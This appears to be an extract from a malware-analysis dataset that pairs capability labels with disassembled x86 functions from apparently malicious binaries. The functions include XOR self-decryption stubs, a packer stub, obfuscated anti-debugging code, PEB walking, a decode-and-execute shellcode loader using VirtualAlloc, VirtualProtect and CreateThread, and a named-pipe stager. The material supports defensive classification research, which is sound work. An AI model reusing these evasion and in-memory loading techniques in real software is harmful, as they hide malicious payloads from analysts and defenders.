joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x4195d0
Capabilities:
Packed with generic packer

Disassembly:
pushal
push edi
or ebp, 0xffffffff
jmp 0x4195e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4195e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4195d8
mov eax, 1
add ebx, ebx
jne 0x4195fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4195f0
jne 0x41960c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4195f0
xor ecx, ecx
sub eax, 3
jb 0x419620
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419692
mov ebp, eax
add ebx, ebx
jne 0x41962b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419638
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x41965c
inc ecx
add ebx, ebx
jne 0x419648
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x41963d
jne 0x419659
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x41963d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x41967c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x41966d
jmp 0x4195de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x41967c
add edi, ecx
jmp 0x4195de
pop esi
mov edi, esi
mov ecx, 0x74
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x41969a
cmp byte [edi], 1
jne 0x41969a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x41969f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x41970e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1ea88]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1eb64]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4196cc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1eb6c]
or eax, eax
je 0x419708
mov dword [ebx], eax
add ebx, 4
jmp 0x4196e9
call dword [esi + 0x1eb68]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x41973f
cmp al, 0xef
ja 0x419732
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x419714
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x419721
mov ebp, dword [esi + 0x1eb70]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x227]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x419773
sub esp, 0xffffff80
jmp 0x401b0d
Function at 0x406a06
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
push esi
mov esi, 0x104
lea eax, [ebp - 0x23c]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
cmp eax, esi
pop esi
jbe 0x406a2a
xor eax, eax
test eax, eax
je 0x406a3d
cmp word [ebp + eax*2 - 0x23e], 0x5c
je 0x406a3d
xor ecx, ecx
jmp 0x406a40
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx*2 + 0x40a014]
lea eax, [ebp + eax*2 - 0x23c]
push ecx
push str._s_S.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x23c]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
leave
ret 4

Function at 0x406b63
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x4275ec], 0
push esi
jne 0x406b9a
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406b74
mov dword [ecx*4 + 0x4275e8], eax
inc ecx
cmp ecx, 0x100
jl 0x406b6f
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x406bcb
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x4275e8]
xor eax, esi
inc ecx
dec edx
jne 0x406bad
pop edi
not eax
pop esi
ret 0xc

Function at 0x930364
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x93036a
pop ebp
sub ebp, 6
sub ebp, 0x530364
jmp 0x9303c8
jmp 0x9303d1
mov eax, 0x530364
add eax, ebp
add eax, 0x93
mov ecx, 0x62b
mov edx, 0x2d0d2cde
xor byte [eax], dl
inc eax
dec ecx
jne 0x9303e8
jmp 0x9303fb
mov ah, 0x9e
mov dh, 0xde
into
invalid
Function at 0x429cf0
Capabilities:
Encode data using xor

Disassembly:
fsub st(1), st(0)
arpl word [edx + edx*8 + 0x64912e98], ax
adc edx, esp
cwde
inc ebp
stosd dword es:[edi], eax
pushfd
mov byte [0xece16bef], al
loope 0x429cb8
movsb byte es:[edi], byte [esi]
adc eax, 0xa24b9e80
dec ebx
mov byte [0x8f288ce6], al
add byte [esi], cl
jne 0x429d49
aam 0xe4
jo 0x429cf2
mov byte [ecx + eax*4 + 0x43434a9a], al
test byte [ecx + 0x43434a9a], al
xchg ebp, eax
test al, 0x51
mov eax, 0x5a7310c2
inc edi
add al, 0xd5
xor ebx, dword [edi - 0x32]
into
xor dword [ecx], ebp
or esi, 0xffffffd2
pushfd
cmove edx, esp
leave
xchg esp, eax
xchg edx, eax
ja 0x429cdf
test byte [esi + 0x60f15bf2], bh
into
push 0xffffffffffffffd4
push ebx
sbb edi, dword [eax - 0x25]
insb byte es:[edi], dx
pushal
bound esp, qword [eax - 0x2c11282d]
mov al, byte [0xd3eed7d3]
xor dh, byte [ecx - 0x59c4597d]
dec esp
test eax, 0xa8e39255
xchg edx, eax
jecxz 0x429cca
je 0x429d11
cmp eax, dword [reloc.AVIFIL32.dll_AVIStreamWrite]
fdiv dword [ebp - 0x73]
inc edi
jle 0x429d1f
invalid
Function at 0x236677b
Capabilities:
Execute anti-debugging instructions

Disassembly:
add edx, edx
sub esp, 0x17
call fcn.0236672f
dec ah
lea eax, [ecx*4]
jmp 0x23667ae
dec ah
lea eax, [ecx*4]
inc esi
clc
jmp 0x2366808
mov eax, dword [esp]
mov dl, 0x75
mov eax, 0xc100d8ce
call fcn.02366827
pop ecx
mov eax, 0xd8ceb8
ror dword [edi], 0xbb
loop 0x2366836
mov eax, 0xc100d8ce
btc edx, esp
sub ax, 0x8a5b
jmp 0x23668c1
sub eax, 0xe9e98a5b
add byte [eax], al
add byte [edi + 0x19ea8f1f], bl
xchg ebx, eax
in eax, dx
add bl, al
mov eax, dword [esp]
bsr ax, si
jl 0x23667a5
jge 0x2366785
btc edx, esp
sub ax, 0x8a5b
jmp 0x23668c1
jns 0x23667b6
mov eax, dword [esp]
mov dl, 0x75
jmp 0x23667c7
fisub dword [ecx]
test eax, 0x1fab5839
dec eax
jmp 0x2366842
mov bl, 0xb6
mov bl, 0x3f
lea esp, [esp + 3]
jmp 0x23667e0
neg cl
pushfd
mov eax, dword [esp]
xchg byte [esp], ah
mov word [esp + 1], sp
jmp 0x2366896

Function at 0x2366b90
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp], eax
call fcn.023660a2
lea esi, reloc.AVIFIL32.dll_AVIStreamWrite
rdtsc
xchg esi, ebx
call fcn.023661ee
mov edi, 0x2c24748b
sbb ch, bh
jmp 0x23662ab
bts dx, cx
mov ax, word [esp]
rcl ch, 1
jmp 0x236626e
pop word [esp]
jmp 0x23661b6
lea ebp, [esp]
cmc
je 0x2366288
mov edi, dword [esp]
cpuid
jmp 0x2366293
rcl ch, 1
jmp 0x236626e
mov edi, dword [esp]
jmp 0x2366291
cpuid
sub esp, 0xc0
jmp 0x23662cd
jg 0x2366249
bts dx, cx
mov ax, word [esp]
jmp 0x2366284
mov edi, esp
mov cx, 0xff0b
not eax
push edi
push word [esp + 1]
jp 0x2366265
pop word [esp]
mov dword [esp], eax
call fcn.0236608c
btc eax, ebp
mov ah, byte [esp]
mov eax, edi
jmp 0x2366bdb
mov eax, 0x360ab64f
jmp 0x2366c8c
lea esp, [esp + 0x14]
call fcn.02366c24
cmp eax, 0xf9ebf180
jbe 0x2366c71
bt dx, si
jmp 0x2366c73
jmp 0x2366ca0
lea eax, [ebx*4]
sub esp, 0x17
lea esp, [esp + 3]
jmp 0x236713e
mov ax, si
mov edx, dword [esp]
neg eax
jo 0x2366be5
jno 0x2366be5
bt dx, si
lea eax, [ebx*4]
sub esp, 0x17
lea esp, [esp + 3]
jmp 0x236713e
add byte [eax], al
dec ecx
call 0x89140ec8
je 0x2366ce3
pcmpgtd mm1, qword [edi - 0x16f7dbbc]
cmp edi, edi
invalid
clc
sub esp, 0x1f
pop ds
lea esp, [esp + 3]
lea edx, [edx + 0xf6]
call fcn.02366cca
push dword [esp + 0x2c]
ret 0x30
mov ax, word [esp]
xchg al, dl
mov cx, 0x4fd7
cmc
js 0x2366d62
jns fcn.02366d4c
cli
jl 0x2366d41
jne 0x2366cb5
xor cl, cl
push 0x1e7beb7c
in eax, dx
sub eax, 0x5b78198e
sub esp, 0xa
pushfd
lea esp, [esp + 2]
xchg dword [esp + 0xc], edx
jmp 0x2366ce0
jmp fcn.02366d4c
stc
call 0x2366d3e
mov ax, 0xfcd0
stc
mov eax, dword [ecx + edi]
xchg cl, dh
mov cx, 0x49d
mov dword [ebp], eax
jmp 0x2366d1d
lea edx, [ecx - 0x4a]
bsf ax, bx
jge 0x2366eb8
mov ax, 0xfcd0
jmp 0x2366dc1
and ecx, 0x3c
mov ax, word [esp]
mov edx, dword [esp]
sub ebp, 4
jmp 0x2366f1c
lea esp, [esp + 0x14]
xor cl, 0x2b
setg dl
mov edx, dword [esp]
xchg al, ah
jmp 0x2366f50
Function at 0x236ada1
Capabilities:
Execute anti-debugging instructions

Disassembly:
bsr dx, bp
sub esp, 0x17
bswap ecx
jmp 0x236ae3e
stc
lea esp, [esp + 4]
xor edi, 0x6486141d
sub ecx, 0xa611d50a
jmp 0x236ad56
jl 0x236ad29
bsr dx, bp
sub esp, 0x17
call 0x236ad72
xchg ebp, eax
add eax, 0xc90ffc95
xor al, 0x27
dec esi
fnstcw word [eax]
sbb ebp, ebx
int 0x66
mov eax, esi
setge ch
mov al, bh
adc dl, ch
mov ecx, eax
jmp 0x236adc3
jmp 0x236ad3f
mov ch, byte [esp + 1]
neg ax
ja 0x236ad70
stc
jmp 0x236ad40
mov ecx, edx
setae ch
mov dh, byte [esp]
mov cl, 0x56
inc edx
xchg dword [esp], eax
jmp 0x236add8
xchg dword [esp], eax
bts dx, di
not cl
mov edx, 0xd1a17ce2
xchg dl, dh
lea eax, [eax + 0x24]
jmp 0x236adad
pushfd
lea eax, reloc.AVIFIL32.dll_AVIStreamWrite
bswap ecx
neg ecx
push esp
push dword [esp + 8]
ret 0xc
ror edi, 0
xchg cl, dl
mov cx, 0xd2de
xchg ah, dh
mov dx, 0x3795
jmp 0x236ae4c
rdtsc
mov cx, 0x8350
pop dx
lea esp, [esp + 1]
jmp 0x236ae18
lea esp, [esp + 0x14]
xor edi, 0x7bd64d5a
xchg cx, ax
rdtsc
xchg ch, al
jmp 0x236b287
bsr ecx, ebp
jmp 0x236b384
stc
jp 0x236b271
bsr ecx, ebp
jmp 0x236b384
dec cx
ror edi, 0
lea eax, [ebx + ebp]
setnp cl
seto al
jmp 0x236b31c
or ax, di
jno 0x236b292
dec cx
call fcn.0236b33c
lcall 0x8ab8, 0x66c18766
lahf
mov eax, 0x4f1c51a3
xchg dword [esp], ebp
jmp 0x236b2e6
bsr dx, bx
lea edx, [ebx + ebp]
lea ecx, [eax + edi]
mov edx, 0xb5b2a69d
jmp 0x236b314
xchg edx, eax
push dword [esp]
ret 4
add edi, dword [esi]
bswap eax
lea edx, [eax + ecx]
jmp 0x236b355
xor edi, 0x1c90d6f7
mov al, 0xac
mov edx, esi
mov dx, di
setge ah
jmp 0x236b2b1

Function at 0x236b6ca
Capabilities:
Execute anti-debugging instructions

Disassembly:
add bl, dl
jnp 0x236b597
inc dl
jmp 0x236b581
mov eax, 0x4a184e3b
mov ax, di
setno ah
jmp 0x236b55c
mov ax, word [esp]
rdtsc
jmp 0x236b59f
inc dl
mov ax, word [esp]
rdtsc
dec edi
mov eax, ebp
jmp 0x236b5c9
mov dh, byte [esp]
call 0x236b5ad
xchg ecx, eax
rdtsc
jmp 0x236b5d3
lea esp, [esp + 2]
jmp 0x236b681
xchg edx, eax
stc
jp 0x236b5a4
mov dh, byte [esp]
jmp 0x236b5a7
pop ax
bswap eax
sbb edx, ecx
jbe 0x236b5b1
lea esp, [esp + 2]
jmp 0x236b681
jmp 0x236b574
jne 0x236b610
xchg word [esp + 1], ax
jmp 0x236b615
xchg word [esp + 1], ax
lea esp, [esp + 4]
xor cl, 0xb8
jmp 0x236b641
sub cl, 0x2f
jmp 0x236b627
or dx, 0xf456
jne 0x236b66a
clc
btc eax, esi
neg dx
cmc
jmp 0x236b658
lea edx, [edx*4]
mov edx, 0x1f09d92b
neg dx
jbe 0x236b61e
ja 0x236b61e
neg dx
cmc
call fcn.0236b6a8
fimul word [ecx - 0x27]
mov eax, 0xea708a4b
js 0x236b686
ljmp 0xf0bb:0xff88b5e
clc
btc eax, esi
jmp 0x236b654
inc cl
xchg dh, dl
pushfd
xchg dword [esp], edx
bsf dx, di
jmp 0x236b5fa
invalid
invalid
invalid
invalid
lea eax, [eax + eax]
push word [esp + 5]
jo 0x236b5f5
mov eax, 0x4a184e3b
mov ax, di
setno ah
jmp 0x236b55c

Function at 0x236cb05
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.0236cabb
Function at 0x236cb11
Capabilities:
Execute anti-debugging instructions

Disassembly:
push 0xf23575ac
jmp 0x236cbde
lea esp, [esp + 2]
mov dword [esp + 0x40], esp
pushal
jmp 0x236cb7d
mov dword [esp + 0x60], ebp
push cx
lea esp, [esp + 2]
jmp 0x236cb66
push word [esp + 7]
lea esp, [esp + 2]
jmp 0x236cb45
mov dword [esp + 0x5c], esi
pushal
push word [esp + 0xc]
ja 0x236cbae
lea esp, [esp + 2]
jmp 0x236cbb4
push dword [esp + 0x16]
jbe 0x236cb5b
push word [esp + 7]
lea esp, [esp + 2]
mov dword [esp + 0x60], ebp
push cx
lea esp, [esp + 2]
jmp 0x236cb66
mov dword [esp + 0x78], edi
lea esp, [esp + 0x78]
jmp 0x236cbf4
lea esp, [esp + 2]
jmp 0x236cb98
mov dword [esp + 0x78], edi
lea esp, [esp + 0x78]
jmp 0x236cbf4
xchg dl, bh
mov bl, byte [esp]
mov ecx, dword [esp]
jmp 0x236cbfa
pushfd
jmp 0x236c0f3
mov esi, dword [esp + 0x2c]
inc cx
jbe 0x236cd6a
mov cl, 0x21
jmp 0x236cc62
neg di
jmp 0x236cccb
mov cl, al
jmp 0x236cca0
jmp 0x236cc88
sub esp, 0xc0
mov edi, esp
shl bx, cl
jmp 0x236cd27
xchg dx, ax
setl bl
xchg bx, dx
lea ebp, [esp]
lea eax, [esi*4]
bsr dx, ax
jg 0x236cc9e
mov cl, al
jmp 0x236cca0
xchg bx, dx
jmp 0x236ccba
jno 0x236ccb1
xchg dx, ax
setl bl
jmp 0x236ccf5
mov cl, 0x21

Function at 0x24a2555
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov bp, 0x1c80
mov word [esp + 0x1a], sp
jmp 0x24a259c
dec ch
mov al, byte [esp + 0x1d]
mov bx, 0x14b6
lea esp, [esp + 0x15]
setb bl
jmp 0x24a2586
cld
xchg dword [esp + 0x15], esi
bswap edx
not di
xchg word [esp + 0x13], si
mov dx, di
jmp 0x24a2560
Function at 0x24a2c2d
Capabilities:
Execute anti-debugging instructions

Disassembly:
mov byte [esp + 2], al
mov si, bx
xchg di, ax
std
mov bp, di
jmp 0x24a2dd6
lea esp, [esp + 5]
btr ax, cx
cpuid
dec edi
rdtsc
mov ax, 0x8f77
jmp 0x24a2bff
xchg edi, ebx
lea ebx, [eax + eax]
lea edi, [ebx*4]
cld
jmp 0x24a2c15
sete bl
lea ebp, [edi + ebp]
neg edi
mov bx, cx
mov cl, 0x28
not ch
jmp 0x24a2cc4
lea edi, [ecx - 0x58]
mov di, dx
mov ecx, dword [esp]
mov ah, byte [esp]
mov ax, cx
xchg al, ah
jmp 0x24a2c3c
rdtsc
bsr dx, dx
mov bx, sp
pushfd
mov byte [esp + 0xc], dh
neg dh
jmp 0x24a2cae
pop di
xchg bp, bx
rcl edx, cl
sub esp, 0x1f
rdtsc
xchg byte [esp + 0xd], dl
jmp 0x24a2c65
push word [esp + 2]
lea ecx, [edx + esi]
pop ecx
mov cl, bh
lea eax, [eax*4]
neg cx
jmp 0x24a2c7b
mov dl, 0x94
mov edi, 0x1672211a
xchg di, dx
xchg edi, ebx
cpuid
jmp 0x24a2d36
pushfd
xchg dword [esp], ecx
lea edi, [ecx*4]
bt edi, edi
bswap ebp
lea esi, [ecx*4]
jmp 0x24a2c97
lea edi, [eax + edx]
xchg ah, dh
bswap edi
mov ecx, 0x9598622d
sub esp, 0xf
jmp 0x24a2d1b
cpuid
cpuid
mov edi, eax
lea ebp, [ebp*4]
clc
xchg bx, ax
jmp 0x24a2cdd
bt eax, ebx
pop cx
mov al, byte [esp + 2]
pop word [esp + 1]
jmp 0x24a2d65
mov ax, si
mov dx, word [esp + 3]
popal
pop word [esp + 0xb]
pop word [esp + 9]
jmp 0x24a2d05
mov eax, 0x5ca93027
mov ebx, 0xeb907724
not ah
mov ah, cl
mov dl, byte [esp + 0x1f]
pop word [esp + 8]
jmp 0x24a2cf3
inc dh
lea eax, [esi*4]
inc al
mov ah, al
seto dl
jmp 0x24a2d7b
pop word [esp + 4]
not dl
lea esp, [esp + 4]
neg bl
neg di
bt di, sp
jmp 0x24a2d4f
not edi
pop cx
bts dx, si
mov bl, bh
sbb ebp, 0xb6e59241
jmp 0x24a2dac
mov dl, ah
mov word [esp + 1], bp
lea esp, [esp + 4]
mov si, 0x9379
mov bx, dx
not cx
jmp 0x24a2c52
xchg esi, edx
mov byte [esp], ch
mov si, sp
xchg edx, edi
call fcn.024a2dbc
popfd
mov eax, dword [esp + 3]
mov byte [esp], dl
stc
cpuid
xchg edi, ebx
xchg dword [esp], esi
jmp 0x24a2d92
Function at 0x24a314f
Capabilities:
Access peb ldr_data

Disassembly:
call fcn.024a2ffb
pop dword [esp + 0xe]
pop dword [esp + 0xb]
push word [esp + 5]
push dword [esp + 6]
lea esp, [esp + 2]
jmp 0x24a3116
lea esp, [esp + 1]
lea esp, [esp + 1]
mov dword [esp + 0x34], ebp
pushal
mov byte [esp + 0xd], ah
pop dword [esp + 0x16]
jmp 0x24a3098
mov eax, dword [eax + 0x1c]
jmp 0x24a30f3
mov dword [esp + 0x44], edi
lea esp, [esp + 0x44]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
jmp 0x24a30ca
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x24a2ff6
mov dword [esp + 0x48], esi
pushfd
mov dword [esp], esp
mov dword [esp], esi
pop word [esp]
lea esp, [esp + 2]
jmp 0x24a30e0
mov dword [esp + 1], esp
mov dword [esp + 0x38], esp
push dx
lea esp, [esp]
jmp 0x24a30b3
Function at 0x40154c
Capabilities:
Create thread

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push esi
push ebx
sub esp, 0x30
mov ebx, dword [ebp + 0xc]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], ebx
mov dword [esp], ecx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
sub esp, 0x10
xor eax, eax
cmp eax, ebx
jge 0x401598
mov ecx, dword [ebp + 0x10]
mov edx, eax
and edx, 3
mov dl, byte [ecx + edx]
mov ecx, dword [ebp + 8]
xor dl, byte [ecx + eax]
mov byte [esi + eax], dl
inc eax
jmp 0x40157d
mov dword [esp], esi
call fcn.00401519
lea eax, [ebp - 0xc]
mov dword [esp], esi
mov dword [esp + 4], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x20
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
xor edx, edx
sub esp, 0x10
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 8], 0x401510
mov dword [esp + 4], edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret

Function at 0x401613
Capabilities:
Connect pipe
Create pipe
Write file on windows
Write pipe

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x3c
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], ecx
mov dword [esp + 8], ebx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], 1
mov dword [esp + 4], 2
mov dword [esp], 0x488040
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov ebx, eax
dec eax
sub esp, 0x20
cmp eax, 0xfffffffd
ja 0x4016b8
xor ecx, ecx
mov dword [esp], ebx
mov dword [esp + 4], ecx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push edx
push edx
test eax, eax
je 0x4016b8
test esi, esi
jle 0x4016a3
xor edx, edx
lea eax, [ebp - 0x1c]
mov dword [esp + 8], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x14
test eax, eax
jne 0x4016af
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
jmp 0x4016b8
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
jmp 0x40167a
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4016df
Capabilities:
Read file on windows

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x3c
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x1c], ecx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 3
mov dword [esp + 8], 3
mov dword [esp + 4], 0x80000000
mov dword [esp], 0x488040
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
sub esp, 0x1c
xor eax, eax
cmp ebx, 0xffffffff
je 0x401779
test esi, esi
jle 0x40175f
xor edx, edx
lea eax, [ebp - 0x1c]
mov dword [esp + 8], esi
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
test eax, eax
jne 0x401770
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
mov eax, 1
jmp 0x401779
mov eax, dword [ebp - 0x1c]
add edi, eax
sub esi, eax
jmp 0x401736
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4017da
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x26aa
xor edx, edx
mov dword [esp + 0x28], 0x5c
div ecx
mov dword [esp + 0x24], 0x65
mov dword [esp + 0x20], 0x70
mov dword [esp + 0x1c], 0x69
mov dword [esp + 0x18], 0x70
mov dword [esp + 0x14], 0x5c
mov dword [esp + 0x10], 0x2e
mov dword [esp + 0xc], 0x5c
mov dword [esp + 8], 0x5c
mov dword [esp + 4], str._c_c_c_c_c_c_c_c_cMSSE__d_server
mov dword [esp], 0x488040
mov dword [esp + 0x2c], edx
call fcn.004015f0
xor eax, eax
xor edx, edx
mov dword [esp + 8], 0x4016c0
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 4], edx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_CreateThread]
xor ecx, ecx
mov dword [ebp + 8], ecx
sub esp, 0x18
leave
jmp fcn.00401781

Function at 0x401af0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00407ad0
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00407ad0
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]
Function at 0x401b50
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x4880b0]
test esi, esi
jle 0x401c70
mov eax, dword [0x4880b4]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x401b84
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401c07
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401b70
mov dword [esp], ebx
call fcn.00402540
mov edi, eax
test eax, eax
je 0x401c97
mov eax, dword [0x4880b4]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402680
mov edx, dword [0x4880b4]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401c77
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401c00
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401c10
add dword [0x4880b0], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x4880b4]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401c00
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.00401af0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401b8e
mov eax, dword [0x4880b4]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.00401af0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.00401af0
lea esi, [esi]
nop

Function at 0x4021b0
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x4880cc
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x4880c4]
sub esp, 4
test ebx, ebx
je 0x402205
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4021fe
test esi, esi
je 0x4021fe
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
